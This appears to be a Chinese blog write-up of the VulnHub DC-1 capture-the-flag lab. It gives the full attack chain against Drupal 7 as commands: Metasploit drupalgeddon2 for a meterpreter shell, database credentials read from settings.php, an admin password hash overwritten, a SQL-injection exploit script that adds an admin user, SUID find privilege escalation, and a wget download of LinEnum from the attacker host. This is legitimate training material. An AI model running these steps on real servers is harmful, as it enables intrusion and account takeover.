VulnHub 靶机学习No.3 DC-1

VulnHub 靶机学习No.3 DC-1

靶机运行说明

  • 靶机难度:初级
  • 攻击机:kali linux,ip地址:192.168.56.102
  • 靶机:DC-1,IP地址:192.168.56.107
  • 目标:找到5个flag

信息收集

nmap扫描kali所在C段,得到DC-1的ip为192.168.56.107
在这里插入图片描述
对192.168.56.107进行全端口扫描

nmap -sV -p 1-65535 192.168.56.107

在这里插入图片描述
既然开放了http服务,使用whatweb探测一下,发现其使用了drupal 7
在这里插入图片描述
打开msf,搜索drupal存在的exp

msfconsole
search drupal

在这里插入图片描述
逐个尝试列表中的exp,发现 exploit/unix/webapp/drupal_drupalgeddon2可以成功利用,并成功返回一个meterpreter shell

use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhosts 192.168.56.107
set lhost 192.168.56.102
run

在这里插入图片描述
当前用户为www-data,发现flag1
在这里插入图片描述

每一个好的cms都需要一个配置文件 - and so do you

百度得知drupal的配置文件位于/sites/default/settings.php
使用 python 调用本地shell

python -c 'import pty; pty.spawn("/bin/bash")'

在配置文件中发现了flag2 以及数据库用户名、密码
在这里插入图片描述

爆破并不是拿到访问权限的唯一方法,(你需要访问权限)。你会用这些凭证做什么?

既然有数据库用户名、密码,那就登录数据库看看

mysql -u dbuser -p

在这里插入图片描述
可以看到admin的密码并不是普通的md5
这时候这样几个思路:

  • 利用john爆破
  • 替换admin的密码
  • 添加一个与 admin 相同权限的用户
    方法1:使用 john 进行爆破,不过没有跑出来

方法2: 新注册一个普通用户,然后进入数据库,用普通用户的密码hash串替换admin的密码hash串。
尝试注册,但是看来需要admin审批,没有收到邮件(行不通哈哈)
在这里插入图片描述
方法3:使用drupal特有的密码变更方法
可以参考这一篇:https://blog.csdn.net/weixin_30632089/article/details/97793608
在网站根目录下

php script/password-hash.sh 123456

得到新的 123456 加密后的 hash 串
在这里插入图片描述
然后在mysql中进行替换

update users set pass="你得到的 hash 串" where uid=1;

在这里插入图片描述

方法4:利用drupal的漏洞添加一个管理员账户
参考文章:https://www.cnblogs.com/sn1per/p/11950864.html
查看drupal的具体版本

cat /var/www/includes/bootstrap.inc | grep VERSION

得知drupal的版本为7.24
在这里插入图片描述

searchsploit drupal 7

可以看到7.0-7.31存在sql注入,可以用来添加管理员账户
在这里插入图片描述

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.56.107 -u ttt -p ttt

成功添加一个 ttt/ttt 的管理员用户
在这里插入图片描述

利用 admin/123456 或者 ttt/ttt 成功登录网站后台,得到flag3
在这里插入图片描述

特殊的权限将会找到密码(这里find使用了大写,是在提示我们),但是你需要使用 -exec 命令来解决如何得到shadow中密码的问题

在这里插入图片描述
通过/etc/passwd 可以发现一个flag4用户(这名字也取得太直接了),成功拿到flag4
在这里插入图片描述

提权

按照flag3中的提示,利用find来提权

touch biubiu
find / -name biubiu -exec '/bin/sh' \;

在这里插入图片描述
如果没有提示使用find来提权:
kali新开一个终端,利用python开启http服务

python -m SimpleHTTPServer 8000

在这里插入图片描述

在拿到shell的终端,cd /tmp ,下载kali机上的LinEnum,加权限,执行

cd /tmp
wget http://192.168.56.107:8000/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

输出结果中也指出了find
在这里插入图片描述

知识点总结

  • drupal cms 的拿shell 方法
  • suid 提权

参考链接:

https://blog.csdn.net/weixin_30632089/article/details/97793608
https://www.cnblogs.com/sn1per/p/11950864.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值